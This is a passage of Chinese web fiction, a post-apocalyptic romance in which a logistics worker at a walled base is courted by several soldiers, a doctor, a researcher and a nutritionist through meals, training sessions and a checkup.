男人领她绕过了处理区,走到院子另一头,这里有段铁梯通往屋顶,晨海先上,然后在平台边缘伸手拉林阮儿,他的手完全包裹住她的手腕,温热,有力。
屋顶视野豁然开朗,远处是基地的高墙,墙外是雨林,他在平台边缘坐下,拍拍身边的位置。
“坐。”
林阮儿坐下,问:“晨队长是常来这里?”
“这里就能看到树冠层,不过今天你没这个眼福,动物多数这时辰不怎么出来。”
林阮儿:“我看到了,树上还真有一只小猴子,周身居然是金黄色的。”
“不错,它们通常群居生活,但我们现在生活里早就已经没有规则,只有生存。”
林阮儿好奇地问:“那个刺棘兽,你们会吃它吗?”
“那是我们猎人队日常需要补充的营养,普通的士兵不会吃,不过它吃棘骨花,所以肉不很腥。”
之后,他们顺着铁梯下去,回到了院子。
“我送你回木屋。”晨海说。
“不用,我记得路。”
“顺路。”
他们一起走到木屋区域,林阮儿对他说:“我到了。”
晨海停下了步子,他低头看她,影子把她完全罩住。
“水塔往北,有个旧的瞭望台,能看到日落,你什么时候想看去的话,就到蜂巢找我。”
林阮儿并没拒绝他,第二天一早,经过蜂巢时,发现一个队伍正在晨跑,三个男人都穿着猎人队的深棕色制服,身高至少都有一米九,他们跑的时候,目光齐刷刷落在她身上。
“哟,新面孔。”晨跑结束后,最左边的男人开口了。
他理着寸头,眼神深邃,问:“哪个部门的?一个人出来,不怕遇到坏人啊?”
右边那个一直没说话,只是眼睛在她脸上来回看,她注意到他脖子上有个刺青,像某种野兽的牙齿图案。
林阮儿:“后勤的。”
这个男人记得:“哦,昨天和晨队长一起的人就是你啊。”
“不如先跟我们转转?”左边的寸头说。
“让她过去吧,你别老吓唬人家。”右边的猎人士兵忽然开口了。
左边寸头的那位,旁边让开了半步:“行行行,不过妹子,你真该看看我们训练,那才叫有意思,比你们后勤搬箱子强多了。”
林阮儿和他对话了两句,准备走时,迎面走来了一位医疗兵制服的男人,他走过去后,和另外的士兵站定在一起。
林阮儿能听到他们的对话。
那位和林阮儿说话的猎人士兵说:“现在就开始注射啊?”
男人也高,但没有猎人士兵那样壮,鼻梁架副眼镜,道:“肌肉强化剂,就缺你了。”
林阮儿朝后往了眼,只见那医疗兵直接把针头扎进去,缓慢推入药液,整个过程面无表
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情,熟练得像做过几百遍。
那个人的身影倒是有点眼熟,她每回经过医疗部的时候,都能看到一个瘦瘦的高个子男人,戴着眼镜,会是他吗?
中午了,林阮儿就到食堂去,这里周末也会开门。
大厅里面,她去到了领餐窗口,负责分餐的是个五十来岁的阿姨,瞟了她一眼,问她要什么,然后就往她盘子里舀了一勺灰褐色的糊状物,又夹了两块烤得焦黑的肉饼,最后放了半块粗粮面包,盘子沉甸甸的。
林阮儿找了个靠边的位置坐下。
糊状物尝起来是豆子和土豆混煮的,没什么味道,但今天的肉饼倒是还行,虽然会有点柴。
她找位置时,看到了晨海,他走过去直接坐在她对面。
晨海的头发湿漉漉,大概刚洗过,他手里端着个特制的餐盘,盘里的食物堆得像小山。
他在林阮儿旁边坐下,餐盘放在桌上时发出沉重的一声。
“晨队长训练完了?”林阮儿问。
“嗯。”晨海开始吃饭。
“猎人”的食物并不一样,大块的烤兽肉,还有牛肉,整颗的水煮蛋,蔬菜泥,还有一大碗浓稠的汤。
晨海用他还没用过的叉子叉起一块肉,放到林阮儿的盘子里。
“这不是兽肉,牛肉,得多吃点,你太瘦了。”
林阮儿愣住了,盘子里那块肉比她自己的鱼大两倍,烤得恰到好处,表面焦脆,切面还泛着粉色的汁水。
“我够吃。”
晨海:“后勤部的伙食没营养,只够维持基础消耗,要保持足够体能,就得补充蛋白质。”
于是,林阮儿拿起叉子,切了一小块肉放进嘴里,肉质比她想象的好,嫩,多汁,调味简单但恰到好处。
“好吃吗?”晨海问,没看她。
“好吃。”
晨海听完,这才自己开吃,他吃完了盘里剩下的所有食物,连汤都喝得一滴不剩,然后靠回椅背,看着林阮儿小口小口地吃他给的东西。
“下午什么安排?”他问。
“没有。”
“下午,你可以来看看猎人的训练场对抗赛,七点开始。”
林阮儿吃完最后一口蔬菜泥,放下叉子,她真的饱了,甚至有点撑。
“谢谢你的食物。”
“不用谢。”晨海站起来,端起了空盘子,身影逐渐地走远了。
林阮儿她摸摸肚子,确实比平时饱,肉和蛋已经进入了胃里边沉甸甸的,让她有点昏昏欲睡。
她收拾盘子时,旁边桌的一位女医生凑过来,小声说:“晨队长对你真不错。”
林阮儿看向她,女医生的年纪并不大。
“猎人队的特供餐一般不分人的,他们出任务的消耗大,所以配额多,但很少见他们分给别人,尤其是外人。”
“晨队长他只是觉得我需要补充营养。”林阮儿说。
她笑道:“也许吧,不过小心点,猎人队的男人都直接得很,看上什么就会行动的。”
说完,女医生就端着盘子走了。
下午林阮儿准时到,训练场比林阮儿想象的大,用铁丝网围起来的一片空地,里面散落着各种器械,场边搭了个简易棚子,里面堆着哑铃和杠铃片。
场里有十几个人在训练,清一色的高个子,全部都是猎人士兵,有的在翻轮胎,有的在甩铁链,还有两个在摔跤,她看得入神,没注意到有人走近。
“想试试吗?”晨海说。
“不了。”
“那边有小点的,适合你。”
他指了指场边,确实有几个小轮胎,但所谓的小只是相对而言,每个也有半人高。
林阮儿摇了摇头,晨海笑了,没再难为她。
又是昨天那两个猎人士兵,左边寸头方猛靠在铁丝网上,一边擦汗一边看她:“你是前哨站来的,对吧?”
昨天右边的士兵吴黎:“昨天我们没吓着你吧?老二就是话多,没恶意。”
“老二?”
方猛:“就是我,方猛,这位是吴黎,我战友,他在兵舍住我下铺,是老三,哦,兵舍是四人。”
林阮儿:“哦,那老大是谁啊?”
方猛:“兵舍向来就只有老二,老大就我们晨队长一个。”
说着,他把一个巨大的杠铃从地上拉起来,动作缓慢但稳定,林阮儿看到他的背肌完全展开,随着发力隆起又收紧,汗水顺着脊椎沟往下.流……
杠铃就被举过头顶,稳住,然后缓缓放下,方猛直起身,喘了口气,然后转头看向她:“我们老大对你挺特别,他平时不怎么跟后勤的人说话,更不会带人去看处理场,昨天有人议论你,被老大听见了,罚他们多做了五十个引体向上。”
方猛又说,“不过你别有压力,老大就是那样,看上什么人或东西,就直来直去,不玩弯弯绕绕。”
林阮儿想要解释什么,吴黎:“老二,你又逗人家。”
“行,我不多嘴了,继续训练去了。”
31. 第 31 章
远处的对抗已经开始了,猎人士兵们的吼叫声像野兽一样。
“左边!左边包抄!”方猛给吴黎出主意。
林阮儿抬起头,看到两个穿着作战背心的男人扭打在一起,汗水顺着他们的脊背往下淌,那是吴黎和另一个叫戚山的士兵,吴黎的动作快得惊人,他一个侧身躲过戚山的扑击,手臂像铁钳一样扣住对方的脖子。
“服不服?”吴黎问。
戚山喘着粗气,脸憋得通红。
吴黎笑了,松开了手,两人分开时,胸膛都在剧烈起伏,林阮儿注意到吴黎的目光扫过场地边缘,有那么一瞬间,好像停在了她身上。
“休息十分钟!”训练场的教官喊道。
士兵们散开,有人去喝水,有人直接躺在了地上。
晨海朝林阮儿这边看过来,而后走到了吴黎身边,拍拍他的肩:“今天表现不错啊。”
吴黎喝了半瓶水,水顺着他下巴往下流,他说:“晨队,主要是戚山今天慢了点。”
随后,吴黎和方猛看着晨海走到林阮儿身边,两人的目光都暗了暗。
“没吓着你吧?”
林阮儿:“还好。”
“这帮士兵平时下手重,竞技场上更是得对对手狠,适应这场面就好。”
两人并肩走了一段路,晨海问她有没有时间,方便的话,可以经常见见面,林阮儿答应,于是他就送她先回去了。
又是一周过去了,林阮儿结束了一周的后勤工作,到了定期体检的日子,全部士兵和后勤部的人员都需要到医疗部体检,体检室就设在基地二层小楼里。
“下一个,林阮儿。”
她排着队,走进体检的房间,里面消毒水的味道很浓。
一个穿着白大褂的男人背对着她,正在整理器械,他转过了身,是那个瘦瘦高高的,戴着金丝边眼镜的许泰然医生。
“请坐,我是这里的主治医疗官许泰然,你是林阮儿?”
林阮儿点点头,在椅子上坐下。
许泰然问完,就拿起了听诊器:“别紧张,只是常规检查,深呼吸。”
冰凉的听诊器贴在她背上,林阮儿不自觉地绷紧了身体。
男人的声音很轻:“放松点,你太紧张了。”
“对不起。”林阮儿小声说。
许泰然笑了笑:“不用道歉,很多人第一次见我都会紧张,可能是我长得太严肃了。”
林阮儿偷偷瞥了他一眼,其实他就是长得严肃了些,但动作轻柔,说话慢条斯理,给人一种莫名很安心的存在。
“最近有咳嗽或者发烧吗?”
“没有。”
“食欲呢?睡眠怎么样?”
“还好,就是有时候会做噩梦。”
许泰然抬起头:“关于什么的噩梦?”
林阮儿抿了抿嘴:“外面那些东西。”
许泰然似乎心中了然:“这很正常,很多人只要见过外墙那些东西,都有类似的困扰,需要的话,我可以给你开一些助眠的药草,药房里还有一些库存。”
“谢谢,我需要。”林阮儿直截了当地表达。
林阮儿检查基本结束,对方说她心脏和各个器官没有问题,很健康,她问上次给猎人士兵打针的人是不是他。
“上回我们就见过了么?”
“算是吧。”
“看来你也知道猎人队,他们可不是好惹的,我通常找他们,基本就是完成我的基本工作就尽快离开,猎人队几乎负责提供基地80%的蛋白质和皮革等需求,所以特权多,人就嚣张一点,但只要你不过界,他们不会真找你麻烦。”
林阮儿冲他点点头,许泰然:“记得,在这里,只有你的身体才是唯一的资本,生病了,受伤了,没人会花太多资源救你,毕竟,资源有限,要先给那些能产出的人,就像是猎人队一样,他们享有基本优先权,自然,规则并不适用于基地大佬们。”
之后,许泰然递给她一张表格:“下个月同一时间再来,如果中间有任何不舒服,随时来找我。”
林阮儿接过表格,站起来准备离开。
走出了体检室,有一道声音传来,林阮儿是一个人来的,没和什么伙伴一起,因此才吓了一跳,抬头却看到了谢忱站在走廊的楼梯口。
“林登记员,体检完了?”
“原来是……”
谢忱:“怎么?没看到你想见的人,失落?”
“没有,就是你突然来,有点吓到。”
“原来,你还挺不经吓的,行,下次我注意点儿,可以吧?”
林阮儿呼出一口气:“那没问题,是时先生找我有事吗?”
“我找你不行吗?非要时先生找你,哎,看来我这个实验员在林小姐心里,是没什么份量。”
她怕人误会,赶紧摇头:“没有没有了,最近有点忙,所以实验室那边去得少了,有时间一定去。”
谢忱看似不在意地点头,往她手里塞了一块巧克力,道:“刚研究出来的巧克力,补充能量一绝,尝尝。”
她解开了包装袋,味道一点儿也不苦,又不十分甜腻,恰好的口感,吃到嘴巴里面异常丝滑,谢忱:“这口味是最新款的,我记得你上次说你比较喜欢甜度少一点的,所以只加了两分糖。”
“谢谢,真的很好吃!”
“你说的是谢谢我,我还以为叫我小名谢谢呢。”
看她眨巴着眼睛的样子,简直像一块□□糖,他憋住了笑,说:“咳,跟你开玩笑,我小名是小忱。”
说完后,他又正色道,“如果你有什么其他需要,工作上的或者是生活上,哪怕日常的什么困难事,都可以来找我。”
林阮儿:“哦,好的。”
谢忱的脸越来越红,半晌没再说话,送她回去,林阮儿回到木屋,看今天的阳光不错,她决定开始洗衣服,四件衣服,两件衬衫两件长裤,小的内衣裤倒是很好解决,直接洗完了用烘干机就行,但别的衣服就得用洗衣工具洗好之后,再搭上木屋外的晾衣绳。
一般木屋会配置一个小型院子,就在这边晾衣,木屋这边通常住的都是医疗部的护士、医生,女的居多,林阮儿抱着一盆洗好的衣服到屋子外,隔壁屋内的安幸正在自己的院子里坐着,见她来了就对她说:“那件事,你听说了么?”
林阮儿:“什么事啊?”
“西边基地昨天遭到袭击了
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。”
林阮儿手里的湿衣服还在滴着水,就问:“那很严重吗?”
“死了至少六个人,据说是一只变异种突破了围墙,那种会爬墙的丧尸,你知道吧?”
林阮儿见过一次,她在前哨站的时候就见到过了,那东西四肢细长,能在垂直的墙面上爬行,速度快得惊人。
“我们的围墙加固了,但谁知道能撑多久。”
林阮儿默默地把一件白色的衬衫抖开来,然后把它挂到绳子处。
这时候的风忽然大了起来,晾衣绳摇晃着,林阮儿按住快要被吹走的裤子,但另一件刚挂上的白衬衫一下子就被风卷走了。
安幸:“啊!你衣服掉了,快捡吧。”
林阮儿尽快去追,看那衬衫越过了晾衣区域,直接就向远处飘去,她的衬衫就这样被风带着,一会儿高一会儿低,最后落在一排木制障碍物的旁边。
林阮儿赶紧跑了过去,准备弯腰捡起自己的衬衫。
这时候,有人先帮她捡起,她还没看来人是谁,就说:“那是我的衣服。”
柯夜从障碍物直接跳了下来,动作十足轻盈,他走近,说:“是你的啊。”
“柯队长。”
柯夜把衬衫递给她,顺便问:“在后勤组的工作还算顺利吗?”
“嗯,挺顺利的,也很适应。”
“那就好,你到后勤部以后,感觉我们很久没见了哈。”
林阮儿她有些不解,和柯队长的见面还是挺频繁的,而且通常不是自己找的他,而是柯夜找的自己,基本就算是天天见面了,为什么他还会这么说呢。
“柯队长,谢谢你帮我捡衣服,忽然刮了一阵风,就把它给吹跑了,也怪我没拿住。”
他看到她的手,忽然问:“你的手怎么了?”
林阮儿低头,发现自己右手虎口处不知什么时候划了一道口子,正在渗血,可能是洗衣服的时候不小心划到了什么地方,洗破了的。
“没什么事。”她说。
柯夜从上衣外套的口袋里掏出一个小铁盒,打开,里面是消毒膏和创可贴。
“真的不用了,就一点伤,也不妨碍平时做事的。”
“手。”柯夜的语气不容拒绝。
林阮儿伸出她的手,她的手确实嫩,手的皮肤很白,手指很长,柯夜的动作比他平时训练时温柔得多了,生怕会弄疼她,他先清理了伤口,然后涂上消毒膏,最后贴上创可贴,整个过程很快,大约只有两分钟,林阮儿稍微一抬头,都能看清他低垂着的长睫,鼻梁位置有个很小疤痕,是她之前没有注意到的。
“好了,这几天别碰水。”柯夜这才松开她的手。
“好,谢谢你。”林阮儿说。
柯夜:“你总是这么客气,好像很怕给别人添麻烦。但在我这里,你可以不用嫌给我添麻烦,我柯夜不是别人。”
林阮儿:“我得回去了,衣服现在还没晾完。”
柯夜:“那我送你。”
两人一齐并肩走着,他问,“你们后勤部下周要去外墙盘点物资?”
“嗯。”
“我恰好需要带队巡逻那条路线,需要的话,可以帮忙搬运重物。
32. 第 32 章
做完了一天的工作,只要有时间,林阮儿都会自己到植物园去呼吸一些新鲜空气,下午四点左右,林阮儿到这边来,看到一处折叠梯,于是爬上梯子,发现植物园竟然有一个生态屋顶。
她依稀记得似乎时先生说过很多次,什么生态安全什么营养层,她一直以为是那种会长在类似实验室一样的地方,比如会是一排一排的架子,上面长点无菌的叶子,但眼前显然不是,是一垄一垄的菜地。
西红柿爬在竹架子,红的黄的挂了一大片,黄瓜藤绕得乱七八糟,有的黄瓜长得太大了,弯着垂下来,豆角密密麻麻的,像帘子,再远一点有玉米,有南瓜,有她叫不上名字的菜,边上有几棵果树,矮矮的,枝头上挤着桃子和李子。
风从屋顶吹过去,玉米叶子哗啦啦响,林阮儿站在那一排西红柿前面,伸手摸了摸一个红的,软的还是温的。
这时,忽然不远处有个声音传过来。
“谁在那?”
一个男人从玉米地那边走过来,手里拎着个篮子,篮子里装着几根黄瓜和一把豆角,他走近了,林阮儿看清他的脸。
男人他大概三十出头,脸很干净,双眉浓密,眼睛往里凹一点,看起来十分深邃,鼻梁很高,像是雕塑那样的鼻梁骨,他穿着件灰色的短袖,袖口卷到肩膀那,手臂上的肌肉线条清清楚楚的,不是健身房练出来的那种大块,是那种紧实的肌肉块。
他站到她面前,低头看她。
“你是干嘛来的?”他问。
林阮儿把她的工作牌递给他,男人看了一眼,道:“哦,后勤部的人,你就是时先生提到的那个前哨站来的女人吧。”
她点头,说:“是的,时先生给我开了随时来植物园的权限。”
对方沉吟一番,道:“我是这里的营养师。”
这名营养师确实和她印象中的不同,他不穿营养师的衣服,穿着有点酷酷的哥特风,脖颈带着金链子,她打量了他一分钟。
“怎么,不像吗?”
“不像。”林阮儿说。
“那你觉得营养师长什么样?”
林阮儿想了想:“戴眼镜的吧,瘦瘦的,天天算卡路里那种。”
“我不算这个,这里的菜地,是我管,负责看什么时候能摘,摘了怎么吃,吃多少,如何搭配这些细致具体的事。”
她问这里的西红柿是不是成熟能吃了,男人说:“生态屋顶上面的所有蔬菜水果全部有机,生长环境非常严苛,这些看似红了的西红柿不能吃,还得再至少十天以后才能食用,这一排的黄瓜可以吃了,建议直接生吃,营养成分最高。既然你是时先生欣赏的人,我可以带你一起逛逛。”
他走着,林阮儿跟在后边,她发现他的走路很快,步子大,自己只能是捣着小步跟上,男人走着,她盯着他的后背看了一会,短袖下面能看见肩胛骨的形状,一动一动的。
“忘了问,你叫什么?”
“林阮儿。”
“你呢?”
他没回头,道:“纪衍,纪律的纪,衍生的衍。”
她嗯了一声,又问:“那你在这里当了多久的营养师啊?”
“两年。”
“之前呢?”
“之前在其他基地……”
纪衍顿了下,问:“要查我户口?”
“没,随便问问的。”
屋顶居然有灶台,有锅,案板,还有一张木桌子几条木凳子,他把篮子放在案板上,然后他从篮子里拿出黄瓜,放在水龙头下面冲,水是从管子那边接过来的,不是基地里那种限量供应的水。
黄瓜切成段,又切成条,码在碗里,不需要加任何调料,能尝出原本的滋味,纪衍递给她,林阮儿说了谢谢后接过咬了一口,很甜很清爽的味道,确实好好吃啊。
林阮儿:“你是一天都要在这边待着么?”
“不是,晚上有人换班,但这地方24小时要有人看着,怕出事。”
“出什么事?”
“什么事都有可能,有人偷菜,有动物进来,有变异的东西爬上来。”
林阮儿:“变异的东西,在这上面?”
“上个月打死了一只老鼠,但通常体型比猫还大。”
林阮儿没答话,纪衍看她一眼:“怕了?”
“没有。”林阮儿心虚地说。
话音未落,有人上来了,是韩司昱。
他站在门口,穿着基地的蓝色制服,袖口卷着,腰上别着.枪,他比纪衍还高一点,肩膀更宽,脸更冷,眼睛在门口看了一圈,先看了纪衍,然后看了林阮儿,又看了桌上那碗吃了一半的黄瓜。
“韩队,今天这么早?”纪衍开口。
韩司昱走进来,他步子很稳,走路没什么声音。
韩司昱的目光落定在林阮儿身上,并不怎么看跟他说话的纪衍。
“还有吗?”
“韩队,也来块黄瓜?”
韩司昱嗯了声,坐在林阮儿身边。
韩司昱坐在那,一只手搭在桌上,手指很长,骨节分明。
这里安静了一会,只有刀切在案板上的声音。
林阮儿:“韩队长,也会常来这里吗?”
“不常,偶尔想在这边吃点有机水果会来,你呢?”
她回答:“我第一次知道这个地方,之前不太了解。”
“那你也是第一次见到纪衍?”
“对。”
韩司昱似乎松了口气,对林阮儿说:“你还没有吃过这边的铁板吧,纪衍,把你的好东西拿出来啊,别藏着掖着的。”
纪衍于是从灶台下面拖出一块铁板来,铁板四四方方的,他拎着铁板走到门口的水龙头那,冲了冲,又用块布擦干,然后架到灶台的炉子上。
纪衍说,“以前废旧工厂里拆下来的。”
炉子点着了,慢慢往上热,纪衍从旁边的篮子里往外拿了两根玉米,三个青椒,一把豆角,还有一块豆腐。
豆腐是用布
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包着的,他解开布,豆腐白嫩嫩的,还冒着凉气。
纪衍:“这豆腐我自己做的。”
“你会做豆腐?”韩司昱问。
“黄豆是自己种的,卤水是以前存的,能做就做了。”
玉米皮剥下来,露出里面金黄发亮的玉米粒,一排一排挤得紧紧的。他用刀把玉米粒切下来,青椒去蒂,切圈,籽抖落一地,豆角两头一掐,筋一撕,掰成段,扔进碗里,铁板已经热了,往上冒热气。
纪衍拿块肥肉在铁板上擦了一圈,油滋滋响,冒烟,香味一下就出来了。
他把豆腐片一片一片铺上去,豆腐边缘开始发白,变黄,一点点焦,纪衍拿着铲子,等了一会,翻面,豆腐已经煎出颜色了,金黄色带点褐,表皮有点脆。
之后,他把煎好的豆腐拨到铁板边上,中间留出空,倒青椒和豆角,青椒一下锅就软了,豆角还是硬的,他翻炒了几下,加点盐,加点不知道是什么的调料。
最后,纪衍撒了把玉米粒进去,翻几下,红的黄的绿的,颜色乱七八糟的堆在一块,但就是好看。
林阮儿咽了咽口水。
纪衍把边上煎好的豆腐拨回来,和菜混在一起,又翻了翻,豆腐沾上西红柿的汁,颜色变深了,看着更软了。
“好了。”他说。
纪衍拿了两个盘子,一盘装菜,一盘装豆腐和菜混的,林阮儿伸手要接,被韩司昱先接了过来递给她。
香味往鼻子里钻,她拿筷子夹了一块豆腐,吹了吹,咬一口。
外面是焦的,里面是嫩的,烫得她直吸气。
“慢点。”韩司昱在她对面坐下,说。
林阮儿顾不上说话,又夹了一筷子青椒和豆角,青椒软烂,豆角还有点脆,玉米粒一咬一爆,甜滋滋的。
她扒拉了一大口,嚼着嚼着,突然停下来。
韩司昱没吃,就看着她。
“你不吃?”她嘴里含着东西问。
“我等会儿,你先吃。”
林阮儿把嘴里的咽下去,又夹了一块豆腐,问:“韩队真的不饿?”
铁板的事不是他提出的么?
“饿,但想先看你吃。”韩司昱沉声。
她猛吃了一口,差点噎着了,纪衍赶紧站起来,去灶台那边倒了杯水,放到她手边:“喝点水,别噎着。”
林阮儿端起杯子喝了一口,韩司昱嚼着豆腐,面无表情,咽下去之后才开口:“盐多了点。”
纪衍走过来,又拿了一双自己的筷子,不解:“韩队,之前我就放这个定量的盐。”
“今天咸,下次注意!”
纪衍有理难开口,只好作罢,而林阮儿低着头吃,但余光会瞟着韩司昱,他吃得不快,也不慢,一口一口的,脸上没什么表情,但眉头偶尔皱一下,不知道是嫌菜不好吃还是想别的事。
三人在一种有些尴尬的氛围结束了晚餐,林阮儿吃得还不错,回去睡了一个非常安稳的觉,比往常都要睡得沉。
33. 第 33 章
周末,林阮儿到雨燕基地的健身房,健身房的C区负二层。
其实每日健身就是一种增强体能的方式,她到这边来,就已经听见里面传来一阵一阵的闷响,是拳头砸在沙袋上的声音,还有男人的叫喊声。
在旁边的小门处,牌子上就写着瑜伽室三字,她推了门进去,里头空荡荡的,一个人没有,地上铺着几块垫子,墙上挂着一面大镜子。
她自行选定了一个瑜伽道具,在一个垫子上盘腿坐了会儿,开始做些最基本的瑜伽动作。
练了大约二十分钟左右,林阮儿躺平在垫子上,盯着天花板,上头有几根管子,用胶带缠着,之后,隔壁拳击馆又传来的动静,咚咚咚的,好像比刚才更响了。
林阮儿爬起来,走到门口,往拳击馆那边看。
隔着玻璃门,能看见里头的人,里面基本都是士兵,穿军裤的多,也有穿迷彩服的,上衣都脱了,搭在跑步机扶手上或者杠铃架子上,浑身的肌肉都不小,肩膀宽,胳膊粗,背上能看见有汗。
有的在打沙袋,有的在对练,还有的坐着喝水,身上的肌肉一鼓一鼓的,林阮儿练瑜伽结束后,就靠在瑜伽室的门框上,看得挺认真。
“看什么呢?”
一个声音从旁边传了出来。
林阮儿扭头,看见柯夜站在她侧后方,穿着件深蓝色的T恤,袖子卷到肩膀,露出胳膊,黝黑深邃的眼睛正盯着她。
“没看什么。”林阮儿说。
柯夜朝后面看向拳击馆里自己手下的士兵,然后目光再次看向她。
“没有想到林登记员还对拳击挺有兴致。”
“嗯。”
她嘴上说是对拳击有兴致,实际上,是对男人们的腹肌有点兴趣,眼神离不开了。
柯夜神色冷冷,问她是在瑜伽室练瑜伽吗,林阮儿说是的,只是自己就是随便练,并不专业,柯夜:“碰上丧尸,打架更管用,拳击倒是一个方法,但像你这种,就躲在我身后就行,不需要打丧尸,费力。”
林阮儿:“如果我练练拳击,应该也可以。”
柯夜:“到拳击馆试试吧,我教你。”
林阮儿进入拳击馆内,里头那些士兵一见林阮儿,瞬间眼睛都直了,竟然来了美女,柯夜一瞪,他们所有人立马把眼神收回去,一位士兵说:“柯队,拳击馆来个细皮嫩肉的女人,不合适吧?”
柯夜正色道:“后勤员林阮儿,之前应该有见过吧?拳击馆谁都能进,现在少废话,继续锻炼你们的。”
这位士兵于是噤声,之后,他们训练时打沙袋的打得邦邦响,对练的喊得更大声了。
林阮儿穿着自己的衣服,白背心格子衬衫搭配牛仔,很简单的穿衣,但穿到她身上,身姿窈窕,惹得他们目光频频钉在她身上,柯夜“咳”了一声,把林阮儿拉到“安全”范围内,自己完全目光可见的地方。
柯夜直接走到器械区,拿了副拳击手套,又拿了个头盔走回来,递给了林阮儿。
“戴上。”他说。
林阮儿接过来,头盔是黑色的,她往头上套,头发被压住了,扯得头皮疼。她弄了半天,没弄好,柯夜伸手过来,帮她把头盔调整了一下,把头发从带子里扯出来,他的手指碰到她耳朵后面,带来一股暖意。
林阮儿抬头看他。
柯夜把手收回去:“手套也得戴上吧。”
林阮儿套好了手套,他带她到一个角落,那儿有个小沙袋,比别的小一号。
“现在,你可以把你的左脚在前,右脚在后,重心在中间,站姿很重要,然后,脚再分开点,前脚内扣,后脚跟抬起来,像我这样。”柯夜给她亲身示范。
他绕到她身后,扶着她的肩膀,把她身体摆正了,说:“不要耸肩,放松一些,出圈的时候记得转药,试试,打一拳。”
林阮儿对着沙袋打了一拳,手套砸上去,沙袋晃了晃,她自己的胳膊也晃了晃,力道瞬间就卸了。
柯夜:“脚底下要稳,腰要转,拳头握紧。”
他又说了一遍动作要领,站在她侧后方,拿着她的手比划。
林阮儿认真听着,点了两下头,然后说:“我再试一下。”
她往前迈一步,脚底下不知道绊着什么了,整个人往前栽,柯夜伸手捞她,捞了个空,自己也跟着往前抢了一步。
林阮儿脸朝下摔在沙袋上,沙袋被她压得往后荡,她的头盔撞在柯夜脸上,嘴磕在他脑门上。
“呃。”柯夜闷哼一声。
林阮儿趴在他身上,她赶紧撑起来,头盔掉了下来,黑长发散了下来。
柯夜坐在地上,看着她,哪怕头发现在凌乱无比,却还是清丽好看的,他一时愣了神,林阮儿捡起自己的发绳,把自己的发往后拨,露出脸,脸有点红红的:“对不起啊,柯队长。”
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旁边有几个士兵练也不练了,站那儿看,有个年轻的,嘴咧得挺大,要笑不笑的,没等柯夜再次瞪他们,他们就立马转身,该干嘛干嘛了,赶紧去做自己的事。
柯夜站起来,他伸手,把林阮儿拉起来。
林阮儿站起来,站稳了,又说了一遍:“对不起,我真不是故意的。”
“知道。”柯夜说。
这会儿,门口传来脚步声,有人进来了。
“柯队。”
是韩司昱来了,韩司昱在基地只跟柯夜队长关系最铁,看到林阮儿也在这边,颇感意外,柯夜走上前:“韩队长怎么来了?”
“我不来都不知道你在这边娇藏美人阿。”
“那倒没,这是公共场合,哪儿来的藏人一说?”
韩司昱问林阮儿:“林登记员,怎么想起来练这个来?”
“刚才练瑜伽,练累了,出来看看,看他们打拳,觉得挺有意思,就想试试。”
韩队长又乐了:“柯队,你教她呢?”
“嗯。”柯夜说。
韩司昱的脸色越来越难看,他问林阮儿练得怎么样了,林阮儿说:“还是不很会,是我高估了自己。”
韩司昱见林阮儿戴着的头盔歪了,伸手,想帮她扶正。
柯夜往前站了一步,在他前头帮她扶了头盔,韩队长的手只能是滞在半空,有点不是滋味。
韩司昱露出了哭笑:“行,那你们练,我那边还有事。”
他转身走了,走到门口,又回头看了一眼,林阮儿还站在那儿,柯夜在她旁边,两个人的距离很近。
韩司昱走后,拳击馆里又热闹起来,柯夜扭头看她:“还练吗?要是你累了就歇会儿。”
林阮儿想了想:“是有点累。”
“那歇会儿。”柯夜说。
他走到旁边,从一个箱子里拿出一瓶水,拧开盖,递给她,林阮儿接过,喝了一口,瞬间感觉舒爽很多。
柯夜看她喝水,喉结不自觉地轻轻滚动了下,只是十分轻微,没有被她察觉到。
柯夜忽然想起什么,问她:“嘴巴牙齿都没事吧?有没有出血?”
“没,出血的话嘴里会咸咸的,有腥味。”
柯夜还是不放心,决定检查一下,林阮儿的嘴巴微微张开,柯夜没有着力点,只好手轻托她的下巴,这一幕,恰好被办事折返回来的韩司昱看到。
34. 第 34 章
林阮儿每个星期就盼着这一天,倒也不是什么大事,就是能上天台待一会儿。
天台上的视野很好,能看见基地外头一大片地方,那些平时只能在报告里看见的巡逻路线,在这儿能亲眼瞧见。
两个固定架在地面的红外望远镜,林阮儿站定在其中一个望远镜那处,朝着内里望远看。
林子密密匝匝的,潮湿至极,再往远,是一道山梁,她听人说,有些队长带队巡逻的时候,偶尔就会走到山梁那边去。
她正看着呢,忽然发现山梁那边有东西在动。
她眯起眼睛仔细看,是几个人影,很小,隔得太远看不太清,她凑到望远镜跟前,眼睛贴上去,还特地调了调焦距。
镜头里出现了几个人,穿着基地的制服,背着枪,正在往回走,走在前头的那个人步子最大,把后头的人甩开一截。
林阮儿把焦距调得更清楚一点。
那人长得挺高,从这个角度也能看出腰窄腿长,只是脸看不怎么清,隔太远了,但能看见下巴的线条非常流畅。
他走着走着,忽然抬起头来,往她这边看了一眼。
男人定定地看了一阵,视线在她的身上固定。
过了好一会儿,他才低下头,继续往前走。
林阮儿把视线从望远镜上挪开,靠在栏杆处,然后就下楼回到自己的木屋里。
巡逻队的一行人进入基地,柯夜在这边接住他,看言渡时不时就朝着天台上看,他顺着言渡的视线看过去,天台上什么也没有,只有两个望远镜架子。
“看什么呢?”柯夜问。
言渡收回视线,看了他一眼:“没什么。”
柯夜不信:“没什么你盯着看半天?怎么了?言队。”
言渡走了几步,柯夜跟上去,走在他旁边,言渡忽然开口:“早上我在外头巡逻的时候,看见天台上有人。”
柯夜愣了一下:“哦,怪不得我瞧你不对劲,发现什么了?”
“发现有一个女人。”
柯夜看着他,半天没说话,言渡这人他了解,出了名的性冷淡,基地里那些小姑娘明里暗里往上凑的不少,他一个都没搭理过。
就这么个人,忽然说看见一个女人。
“什么样的女人?”柯夜更好奇了。
言渡想了想:“长得挺清秀,可爱那挂的。”
柯夜发觉言渡话里话外,以及微微上扬的唇角,分明是对那个女人产生了兴趣,觉得这事不寻常,这会儿,林阮儿刚好去食堂,从二人面前经过。
言渡:“我的视力向来很好,不会看错人。”
柯夜盯着他的脸看了一会儿,忽然说:“是她么?后勤部的林阮儿。”
言渡半晌道:“原来她叫林阮儿阿。”
柯夜看着他,心里头忽然有点不是滋味,他说不上来是什么感觉,就是觉得不舒服。
他看着言渡,言渡也看着他,两个人谁都没说话。
过了好一会儿,柯夜提醒言渡:“劝你还是别对她产生兴趣。”
“哦,为什么?”
“没有原因,单纯觉得你别祸害人家小姑娘,人家说不定早就有主了。”
“有主了,谁啊?”
柯夜没回答,只是淡淡道:“没谁,走了。”
